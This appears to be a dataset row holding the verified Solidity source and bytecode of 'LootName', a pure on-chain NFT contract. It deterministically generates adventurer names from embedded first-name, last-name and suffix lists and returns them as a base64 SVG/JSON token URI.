address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xc23aa77cf54163bbba9c9f85a865db299cb492bb
|
/**
*Submitted for verification at Etherscan.io on 2021-09-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <brecht@loopring.org>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
/*
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <arachnid@notdot.net>
*
* @dev Functionality in this library is largely implemented using an
* abstraction called a 'slice'. A slice represents a part of a string -
* anything from the entire string to a single character, or even no
* characters at all (a 0-length slice). Since a slice only has to specify
* an offset and a length, copying and manipulating slices is a lot less
* expensive than copying and manipulating the strings they reference.
*
* To further reduce gas costs, most functions on slice that need to return
* a slice modify the original one instead of allocating a new one; for
* instance, `s.split(".")` will return the text up to the first '.',
* modifying s to only contain the remainder of the string after the '.'.
* In situations where you do not want to modify the original slice, you
* can make a copy first with `.copy()`, for example:
* `s.copy().split(".")`. Try and avoid using this idiom in loops; since
* Solidity has no memory management, it will result in allocating many
* short-lived slices that are later discarded.
*
* Functions that return two slices come in two versions: a non-allocating
* version that takes the second slice as an argument, modifying it in
* place, and an allocating version that allocates and returns the second
* slice; see `nextRune` for example.
*
* Functions that have to copy string data will return strings rather than
* slices; these can be cast back to slices for further processing if
* required.
*
* For convenience, some functions are provided with non-modifying
* variants that create a new slice and return both; for instance,
* `s.splitNew('.')` leaves s unmodified, and returns two values
* corresponding to the left and right parts of the string.
*/
library strings {
struct slice {
uint256 _len;
uint256 _ptr;
}
function memcpy(
uint256 dest,
uint256 src,
uint256 len
) private pure {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint256 mask = 256**(32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint256 ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint256 retptr;
assembly {
retptr := add(ret, 32)
}
memcpy(retptr, self._ptr, self._len);
return ret;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(
uint256 selflen,
uint256 selfptr,
uint256 needlelen,
uint256 needleptr
) private pure returns (uint256) {
uint256 ptr = selfptr;
uint256 idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2**(8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint256 end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr >= end) return selfptr + selflen;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(
slice memory self,
slice memory needle,
slice memory token
) internal pure returns (slice memory) {
uint256 ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle)
internal
pure
returns (slice memory token)
{
split(self, needle, token);
}
}
contract LootName {
using strings for string;
using strings for strings.slice;
string private constant firstNames =
"Satoshi,Vitalik,Vlad,Adam,Ailmar,Darfin,Jhaan,Zabbas,Neldor,Gandor,Bellas,Daealla,Derek,Nym,Vesryn,Angor,Gogu,Malok,Rotnam,Chalia,Astra,Fabien,Orion,Quintus,Remus,Rorik,Sirius,Sybella,Azura,Dorath,Freya,Ophelia,Yvanna,Zeniya,James,Robert,John,Michael,William,David,Richard,Joseph,Thomas,Charles,Mary,Patricia,Jennifer,Linda,Elizabeth,Barbara,Susan,Jessica,Sarah,Karen,Dilibe,Eva,Matthew,Bolethe,Polycarp,Ambrogino,Jiri,Chukwuebuka,Chinonyelum,Mikael,Mira,Aniela,Samuel,Isak,Archibaldo,Chinyelu,Kerstin,Abigail,Olympia,Grace,Nahum,Elisabeth,Serge,Sugako,Patrick,Florus,Svatava,Ilona,Lachlan,Caspian,Filippa,Paulo,Darda,Linda,Gradasso,Carly,Jens,Betty,Ebony,Dennis,Martin Davorin,Laura,Jesper,Remy,Onyekachukwu,Jan,Dioscoro,Hilarij,Rosvita,Noah,Patrick,Mohammed,Chinwemma,Raff,Aron,Miguel,Dzemail,Gawel,Gustave,Efraim,Adelbert,Jody,Mackenzie,Victoria,Selam,Jenci,Ulrich,Chishou,Domonkos,Stanislaus,Fortinbras,George,Daniel,Annabelle,Shunichi,Bogdan,Anastazja,Marcus,Monica,Martin,Yuukou,Harriet,Geoffrey,Jonas,Dennis,Hana,Abdelhak,Ravil,Patrick,Karl,Eve,Csilla,Isabella,Radim,Thomas,Faina,Rasmus,Alma,Charles,Chad,Zefram,Hayden,Joseph,Andre,Irene,Molly,Cindy,Su,Stani,Ed,Janet,Cathy,Kyle,Zaki,Belle,Bella,Amou,Steven,Olgu,Eva,Ivan,Vllad,Helga,Anya,John,Rita,Evan,Jason,Donald,Tyler,Changpeng,Sam";
uint256 private constant firstNamesLength = 186;
string private constant lastNames =
"Nakamoto,Buterin,Zamfir,Mintz,Ashbluff,Marblemaw,Bozzelli,Fellowes,Windward,Yarrow,Yearwood,Wixx,Humblecut,Dustfinger,Biddercombe,Kicklighter,Vespertine,October,Gannon,Collymore,Stoll,Adler,Huxley,Ledger,Hayes,Ford,Finnegan,Beckett,Zimmerman,Crassus,Hendrix,Lennon,Thatcher,St. James,Cromwell,Monroe,West,Langley,Cassidy,Lopez,Jenkins,Udobata,Valova,Gresham,Frederiksen,Vasiliev,Mancini,Danicek,Okwuoma,Chibugo,Broberg,Strozak,Borkowska,Araujo,Geisler,Hidalgo,Ibekwe,Schmidt,Leehy,Rodrigue,Hines,Izmaylov,Egede,Pinette,Hakugi,McLellan,Mailhot,Lelkova,Simon,Tjangamarra,Sandgreen,Nystrom,Kjeldsen,Goncalves,Sos,Hornblower,Pelletier,Donaldson,Jackson,Rojo,Ermakov,Stornik,Lothran,Gousse,Henrichon,Onwuka,Horak,Elizondo,Mikulanc,Skotnik,Berg,Nilsson,Berg,Enyinnaya,Hermanns,Holmberg,Oliveira,Kufersin,Kwiatkowski,Courtois,Piest,Sandheaver,Woods,Ives,Dias,Grizelj,Viragh,Blau,Kodou,Torma,Sorokina,Took-Took,Allen,Melo,Bunker,Kiyomizu,Donkervoort,Maciejewska,Steffensen,Solomina,Zidek,Gotou,Bryant,Quenneville,Karlsen,Thomsen,Havlikova,Feron,Bazhenov,Amsel,Enoksen,Schneider,Kiss,Woodd,Benes,Probst,Aliyeva,Fleischer,Plain,Hoskinson,Chad,Maki,Gandhi,Zhao,Wintermute,Cronje,Felten,Yellen,Wood,Zhu,Davis,K,Delphine,Thorne,Kulechov,Nigiri,Goldfeder,Ranth,Galt,Lincoln,Trump";
uint256 private constant lastNamesLength = 161;
string private constant suffixes =
"the Great,Jr.,Sr.,the Ape,the Magnificent,the Impaler,the Able,the Ambitious,the Astrologer,the Bad,the Bastard,the Blessed,the Bloody,the Conqueror,the Cruel,the Damned,Dracula,the Drunkard,the Elder,the Eloquent,the Enlightened,the Fair,the Farmer,the Fat,the Fearless,the Fighter,the Comfy,the Couch,the Fortunate,the Generous,the Gentle,the Glorious,the Good,the God-Given,the God,the Grim,the Handsome,the Hammer,Hadrada,the Hidden,the Holy,the Hunter,the Illustrious,the Invincible,the Iron,the Just,the Kind,the Lame,the Last,the Lawgiver,the Learned,the Liberator,the Lion,the Mad,the Magnanimous,the Mighty,the Monk,the Mild,the Musician,the Navigator,the Nobel,the Old,the One-Eyed,the Outlaw,the Pale,the Peaceful,the Philosopher,the Pilgrim,the Pious,the Poet,the Proud,the Quiet,the Rash,the Red,the Reformer,the Saint,the Savior,the Seer,the Short,the Silent,the Simple,the Sorcerer,the Strong,the Tall,the Terrible,the Thunderbolt,the Trembling,the Tyrant,the Unlucky,the Unready,the Vain,the Virgin,the Warrior,the Weak,the Wicked,the Wise,the Young,the Cuck,the Chad,the NoCoiner,.eth,da gay,the Prophet,the Paper-Handed,the Diamond-Handed";
uint256 private constant suffixesLength = 104;
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getFirstName(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "FIRST_NAME", firstNames, firstNamesLength);
}
function getLastName(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "LAST_NAME", lastNames, lastNamesLength);
}
function getSuffix(uint256 tokenId) public pure returns (string memory) {
if (tokenId > 8000) {
return "";
}
return pluck(tokenId, "SUFFIX", suffixes, suffixesLength);
}
function pluck(
uint256 tokenId,
string memory keyPrefix,
string memory sourceCSV,
uint256 sourceCSVLength
) internal pure returns (string memory) {
uint256 rand = random(
string(abi.encodePacked(keyPrefix, Strings.toString(tokenId)))
);
return getItemFromCSV(sourceCSV, rand % sourceCSVLength);
}
function shouldGib(uint256 tokenId, string memory keyPrefix)
internal
pure
returns (bool)
{
uint256 rand = random(
string(
abi.encodePacked(
"SHOULD_GIB",
keyPrefix,
Strings.toString(tokenId)
)
)
);
uint256 greatness = rand % 21;
return (greatness >= 19);
}
function getName(uint256 tokenId) public pure returns (string memory) {
string[5] memory parts;
parts[0] = getFirstName(tokenId);
parts[1] = " ";
parts[2] = getLastName(tokenId);
parts[4] = getSuffix(tokenId);
parts[3] = bytes(parts[4]).length > 0 ? " " : "";
string memory fullName = string(
abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4])
);
return fullName;
}
function tokenURI(uint256 tokenId) public pure returns (string memory) {
string[3] memory parts;
parts[
0
] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = getName(tokenId);
parts[2] = "</text></svg>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2])
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "',
parts[1],
'", "description": "LootName is randomized adventurer name generated on chain. Feel free to use LootName in any way you want.", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
function getItemFromCSV(string memory str, uint256 index)
internal
pure
returns (string memory)
{
strings.slice memory strSlice = str.toSlice();
string memory separatorStr = ",";
strings.slice memory separator = separatorStr.toSlice();
strings.slice memory item;
for (uint256 i = 0; i <= index; i++) {
item = strSlice.split(separator);
}
return item.toString();
}
constructor() {}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063172a56c11461005c578063174029f6146100855780636a3ef380146100985780636b8ff574146100ab578063c87b56dd146100be575b600080fd5b61006f61006a366004610a40565b6100d1565b60405161007c9190610cba565b60405180910390f35b61006f610093366004610a40565b610123565b61006f6100a6366004610a40565b61016e565b61006f6100b9366004610a40565b6101d4565b61006f6100cc366004610a40565b6102a4565b606061011d826040518060400160405280600a81526020016946495253545f4e414d4560b01b81525060405180610540016040528061050d8152602001610efe61050d913960ba610393565b92915050565b606061011d82604051806040016040528060098152602001684c4153545f4e414d4560b81b8152506040518061052001604052806104f1815260200161140b6104f1913960a1610393565b6060611f4082111561018e57505060408051602081019091526000815290565b61011d82604051806040016040528060068152602001650a6aa8c8c92b60d31b815250604051806104c0016040528061048481526020016118fc61048491396068610393565b60606101de6109ff565b6101e7836100d1565b8152604080518082019091526001808252600160fd1b60208301528290602002015261021283610123565b60408201526102208361016e565b6080820181905251610241576040518060200160405280600081525061025c565b604051806040016040528060018152602001600160fd1b8152505b6060820181905281516020808401516040808601516080870151915160009661028c969592939092909101610ae7565b60408051601f19818403018152919052949350505050565b60606102ae610a26565b60405180610120016040528060fd8152602001611d8060fd913981526102d3836101d4565b6020828101918252604080518082018252600d81526c1e17ba32bc3a1f1e17b9bb339f60991b8184015281850181905284519351915160009461031a949093929101610aa4565b60408051601f19818403018152919052905060006103678360016020020151610342846103ea565b604051602001610353929190610b52565b6040516020818303038152906040526103ea565b90508060405160200161037a9190610c75565b60408051601f1981840301815291905295945050505050565b606060006103c9856103a488610550565b6040516020016103b5929190610a75565b60405160208183030381529060405261064e565b90506103de846103d98584610e91565b61067f565b9150505b949350505050565b80516060908061040a575050604080516020810190915260008152919050565b60006003610419836002610ced565b6104239190610d05565b61042e906004610e10565b9050600061043d826020610ced565b67ffffffffffffffff81111561045557610455610ee7565b6040519080825280601f01601f19166020018201604052801561047f576020820181803683370190505b5090506000604051806060016040528060408152602001611e7d604091399050600181016020830160005b8681101561050b576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b8352600490920191016104aa565b506003860660018114610525576002811461053657610542565b613d3d60f01b600119830152610542565b603d60f81b6000198301525b505050918152949350505050565b6060816105745750506040805180820190915260018152600360fc1b602082015290565b8160005b811561059e578061058881610e76565b91506105979050600a83610d05565b9150610578565b60008167ffffffffffffffff8111156105b9576105b9610ee7565b6040519080825280601f01601f1916602001820160405280156105e3576020820181803683370190505b5090505b84156103e2576105f8600183610e2f565b9150610605600a86610e91565b610610906030610ced565b60f81b81838151811061062557610625610ed1565b60200101906001600160f81b031916908160001a905350610647600a86610d05565b94506105e7565b6000816040516020016106619190610a59565b60408051601f19818403018152919052805160209091012092915050565b606060006106b48460408051808201825260008082526020918201528151808301909252825182529182019181019190915290565b60408051808201825260018152600b60fa1b6020808301918252835180850185526000808252908201819052845180860186528451815280830193909352845180860190955280855290840152929350919060005b86811161072e5761071a8584610743565b91508061072681610e76565b915050610709565b5061073881610769565b979650505050505050565b60408051808201909152600080825260208201526107628383836107d2565b5092915050565b60606000826000015167ffffffffffffffff81111561078a5761078a610ee7565b6040519080825280601f01601f1916602001820160405280156107b4576020820181803683370190505b5090506000602082019050610762818560200151866000015161087e565b6040805180820190915260008082526020820152600061080485600001518660200151866000015187602001516108ef565b6020808701805191860191909152519091506108209082610e2f565b8352845160208601516108339190610ced565b8114156108435760008552610875565b835183516108519190610ced565b85518690610860908390610e2f565b905250835161086f9082610ced565b60208601525b50909392505050565b602081106108b65781518352610895602084610ced565b92506108a2602083610ced565b91506108af602082610e2f565b905061087e565b600060016108c5836020610e2f565b6108d190610100610d5c565b6108db9190610e2f565b925184518416931916929092179092525050565b600083818685116109f557602085116109a35760006001610911876020610e2f565b61091c906008610e10565b610927906002610d5c565b6109319190610e2f565b85519019915081166000876109468b8b610ced565b6109509190610e2f565b855190915083165b8281146109955781861061097d576109708b8b610ced565b96505050505050506103e2565b8561098781610e76565b965050838651169050610958565b8596505050505050506103e2565b508383206000905b6109b58689610e2f565b82116109f357858320818114156109d257839450505050506103e2565b6109dd600185610ced565b93505081806109eb90610e76565b9250506109ab565b505b6107388787610ced565b6040518060a001604052806005905b6060815260200190600190039081610a0e5790505090565b604080516060808201909252908152600260208201610a0e565b600060208284031215610a5257600080fd5b5035919050565b60008251610a6b818460208701610e46565b9190910192915050565b60008351610a87818460208801610e46565b835190830190610a9b818360208801610e46565b01949350505050565b60008451610ab6818460208901610e46565b845190830190610aca818360208901610e46565b8451910190610add818360208801610e46565b0195945050505050565b60008651610af9818460208b01610e46565b865190830190610b0d818360208b01610e46565b8651910190610b20818360208a01610e46565b8551910190610b33818360208901610e46565b8451910190610b46818360208801610e46565b01979650505050505050565b693d913730b6b2911d101160b11b81528251600090610b7881600a850160208801610e46565b7f222c20226465736372697074696f6e223a20224c6f6f744e616d652069732072600a918401918201527f616e646f6d697a656420616476656e7475726572206e616d652067656e657261602a8201527f746564206f6e20636861696e2e20204665656c206672656520746f2075736520604a8201527f4c6f6f744e616d6520696e20616e792077617920796f752077616e742e222c20606a8201527f22696d616765223a2022646174613a696d6167652f7376672b786d6c3b626173608a82015263194d8d0b60e21b60aa8201528351610c5a8160ae840160208801610e46565b61227d60f01b60ae929091019182015260b001949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251610cad81601d850160208701610e46565b91909101601d0192915050565b6020815260008251806020840152610cd9816040850160208701610e46565b601f01601f19169190910160400192915050565b60008219821115610d0057610d00610ea5565b500190565b600082610d1457610d14610ebb565b500490565b600181815b80851115610d54578160001904821115610d3a57610d3a610ea5565b80851615610d4757918102915b93841c9390800290610d1e565b509250929050565b6000610d688383610d6f565b9392505050565b600082610d7e5750600161011d565b81610d8b5750600061011d565b8160018114610da15760028114610dab57610dc7565b600191505061011d565b60ff841115610dbc57610dbc610ea5565b50506001821b61011d565b5060208310610133831016604e8410600b8410161715610dea575081810a61011d565b610df48383610d19565b8060001904821115610e0857610e08610ea5565b029392505050565b6000816000190483118215151615610e2a57610e2a610ea5565b500290565b600082821015610e4157610e41610ea5565b500390565b60005b83811015610e61578181015183820152602001610e49565b83811115610e70576000848401525b50505050565b6000600019821415610e8a57610e8a610ea5565b5060010190565b600082610ea057610ea0610ebb565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe5361746f7368692c566974616c696b2c566c61642c4164616d2c41696c6d61722c44617266696e2c4a6861616e2c5a61626261732c4e656c646f722c47616e646f722c42656c6c61732c446165616c6c612c446572656b2c4e796d2c56657372796e2c416e676f722c476f67752c4d616c6f6b2c526f746e616d2c4368616c69612c41737472612c46616269656e2c4f72696f6e2c5175696e7475732c52656d75732c526f72696b2c5369726975732c537962656c6c612c417a7572612c446f726174682c46726579612c4f7068656c69612c5976616e6e612c5a656e6979612c4a616d65732c526f626572742c4a6f686e2c4d69636861656c2c57696c6c69616d2c44617669642c526963686172642c4a6f736570682c54686f6d61732c436861726c65732c4d6172792c50617472696369612c4a656e6e696665722c4c696e64612c456c697a61626574682c426172626172612c537573616e2c4a6573736963612c53617261682c4b6172656e2c44696c6962652c4576612c4d6174746865772c426f6c657468652c506f6c79636172702c416d62726f67696e6f2c4a6972692c4368756b77756562756b612c4368696e6f6e79656c756d2c4d696b61656c2c4d6972612c416e69656c612c53616d75656c2c4973616b2c417263686962616c646f2c4368696e79656c752c4b65727374696e2c4162696761696c2c4f6c796d7069612c47726163652c4e6168756d2c456c697361626574682c53657267652c537567616b6f2c5061747269636b2c466c6f7275732c537661746176612c496c6f6e612c4c6163686c616e2c4361737069616e2c46696c697070612c5061756c6f2c44617264612c4c696e64612c477261646173736f2c4361726c792c4a656e732c42657474792c45626f6e792c44656e6e69732c4d617274696e204461766f72696e2c4c617572612c4a65737065722c52656d792c4f6e79656b616368756b77752c4a616e2c44696f73636f726f2c48696c6172696a2c526f73766974612c4e6f61682c5061747269636b2c4d6f68616d6d65642c4368696e77656d6d612c526166662c41726f6e2c4d696775656c2c447a656d61696c2c476177656c2c477573746176652c45667261696d2c4164656c626572742c4a6f64792c4d61636b656e7a69652c566963746f7269612c53656c616d2c4a656e63692c556c726963682c43686973686f752c446f6d6f6e6b6f732c5374616e69736c6175732c466f7274696e627261732c47656f7267652c44616e69656c2c416e6e6162656c6c652c5368756e696368692c426f6764616e2c416e617374617a6a612c4d61726375732c4d6f6e6963612c4d617274696e2c5975756b6f752c486172726965742c47656f66667265792c4a6f6e61732c44656e6e69732c48616e612c416264656c68616b2c526176696c2c5061747269636b2c4b61726c2c4576652c4373696c6c612c49736162656c6c612c526164696d2c54686f6d61732c4661696e612c5261736d75732c416c6d612c436861726c65732c436861642c5a656672616d2c48617964656e2c4a6f736570682c416e6472652c4972656e652c4d6f6c6c792c43696e64792c53752c5374616e692c45642c4a616e65742c43617468792c4b796c652c5a616b692c42656c6c652c42656c6c612c416d6f752c53746576656e2c4f6c67752c4576612c4976616e2c566c6c61642c48656c67612c416e79612c4a6f686e2c526974612c4576616e2c4a61736f6e2c446f6e616c642c54796c65722c4368616e6770656e672c53616d4e616b616d6f746f2c4275746572696e2c5a616d6669722c4d696e747a2c417368626c7566662c4d6172626c656d61772c426f7a7a656c6c692c46656c6c6f7765732c57696e64776172642c596172726f772c59656172776f6f642c576978782c48756d626c656375742c4475737466696e6765722c426964646572636f6d62652c4b69636b6c6967687465722c56657370657274696e652c4f63746f6265722c47616e6e6f6e2c436f6c6c796d6f72652c53746f6c6c2c41646c65722c4875786c65792c4c65646765722c48617965732c466f72642c46696e6e6567616e2c4265636b6574742c5a696d6d65726d616e2c437261737375732c48656e647269782c4c656e6e6f6e2c54686174636865722c53742e204a616d65732c43726f6d77656c6c2c4d6f6e726f652c576573742c4c616e676c65792c436173736964792c4c6f70657a2c4a656e6b696e732c55646f626174612c56616c6f76612c4772657368616d2c467265646572696b73656e2c566173696c6965762c4d616e63696e692c44616e6963656b2c4f6b77756f6d612c4368696275676f2c42726f626572672c5374726f7a616b2c426f726b6f77736b612c417261756a6f2c476569736c65722c486964616c676f2c4962656b77652c5363686d6964742c4c656568792c526f6472696775652c48696e65732c497a6d61796c6f762c45676564652c50696e657474652c48616b7567692c4d634c656c6c616e2c4d61696c686f742c4c656c6b6f76612c53696d6f6e2c546a616e67616d617272612c53616e64677265656e2c4e797374726f6d2c4b6a656c6473656e2c476f6e63616c7665732c536f732c486f726e626c6f7765722c50656c6c65746965722c446f6e616c64736f6e2c4a61636b736f6e2c526f6a6f2c45726d616b6f762c53746f726e696b2c4c6f746872616e2c476f757373652c48656e726963686f6e2c4f6e77756b612c486f72616b2c456c697a6f6e646f2c4d696b756c616e632c536b6f746e696b2c426572672c4e696c73736f6e2c426572672c456e79696e6e6179612c4865726d616e6e732c486f6c6d626572672c4f6c6976656972612c4b7566657273696e2c4b776961746b6f77736b692c436f7572746f69732c50696573742c53616e646865617665722c576f6f64732c497665732c446961732c4772697a656c6a2c5669726167682c426c61752c4b6f646f752c546f726d612c536f726f6b696e612c546f6f6b2d546f6f6b2c416c6c656e2c4d656c6f2c42756e6b65722c4b69796f6d697a752c446f6e6b6572766f6f72742c4d616369656a6577736b612c5374656666656e73656e2c536f6c6f6d696e612c5a6964656b2c476f746f752c427279616e742c5175656e6e6576696c6c652c4b61726c73656e2c54686f6d73656e2c4861766c696b6f76612c4665726f6e2c42617a68656e6f762c416d73656c2c456e6f6b73656e2c5363686e65696465722c4b6973732c576f6f64642c42656e65732c50726f6273742c416c69796576612c466c656973636865722c506c61696e2c486f736b696e736f6e2c436861642c4d616b692c47616e6468692c5a68616f2c57696e7465726d7574652c43726f6e6a652c46656c74656e2c59656c6c656e2c576f6f642c5a68752c44617669732c4b2c44656c7068696e652c54686f726e652c4b756c6563686f762c4e69676972692c476f6c6466656465722c52616e74682c47616c742c4c696e636f6c6e2c5472756d707468652047726561742c4a722e2c53722e2c746865204170652c746865204d61676e69666963656e742c74686520496d70616c65722c7468652041626c652c74686520416d626974696f75732c74686520417374726f6c6f6765722c746865204261642c74686520426173746172642c74686520426c65737365642c74686520426c6f6f64792c74686520436f6e717565726f722c74686520437275656c2c7468652044616d6e65642c44726163756c612c746865204472756e6b6172642c74686520456c6465722c74686520456c6f7175656e742c74686520456e6c69676874656e65642c74686520466169722c746865204661726d65722c746865204661742c74686520466561726c6573732c74686520466967687465722c74686520436f6d66792c74686520436f7563682c74686520466f7274756e6174652c7468652047656e65726f75732c7468652047656e746c652c74686520476c6f72696f75732c74686520476f6f642c74686520476f642d476976656e2c74686520476f642c746865204772696d2c7468652048616e64736f6d652c7468652048616d6d65722c486164726164612c7468652048696464656e2c74686520486f6c792c7468652048756e7465722c74686520496c6c75737472696f75732c74686520496e76696e6369626c652c7468652049726f6e2c746865204a7573742c746865204b696e642c746865204c616d652c746865204c6173742c746865204c617767697665722c746865204c6561726e65642c746865204c6962657261746f722c746865204c696f6e2c746865204d61642c746865204d61676e616e696d6f75732c746865204d69676874792c746865204d6f6e6b2c746865204d696c642c746865204d7573696369616e2c746865204e6176696761746f722c746865204e6f62656c2c746865204f6c642c746865204f6e652d457965642c746865204f75746c61772c7468652050616c652c74686520506561636566756c2c746865205068696c6f736f706865722c7468652050696c6772696d2c7468652050696f75732c74686520506f65742c7468652050726f75642c7468652051756965742c74686520526173682c746865205265642c746865205265666f726d65722c746865205361696e742c74686520536176696f722c74686520536565722c7468652053686f72742c7468652053696c656e742c7468652053696d706c652c74686520536f7263657265722c746865205374726f6e672c7468652054616c6c2c746865205465727269626c652c746865205468756e646572626f6c742c746865205472656d626c696e672c74686520547972616e742c74686520556e6c75636b792c74686520556e72656164792c746865205661696e2c7468652056697267696e2c7468652057617272696f722c746865205765616b2c746865205769636b65642c74686520576973652c74686520596f756e672c746865204375636b2c74686520436861642c746865204e6f436f696e65722c2e6574682c6461206761792c7468652050726f706865742c7468652050617065722d48616e6465642c746865204469616d6f6e642d48616e6465643c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220299534d46ae5081b7c59512b216f25f7c9d89ae762e6660b6c1442071afb335464736f6c63430008070033
|
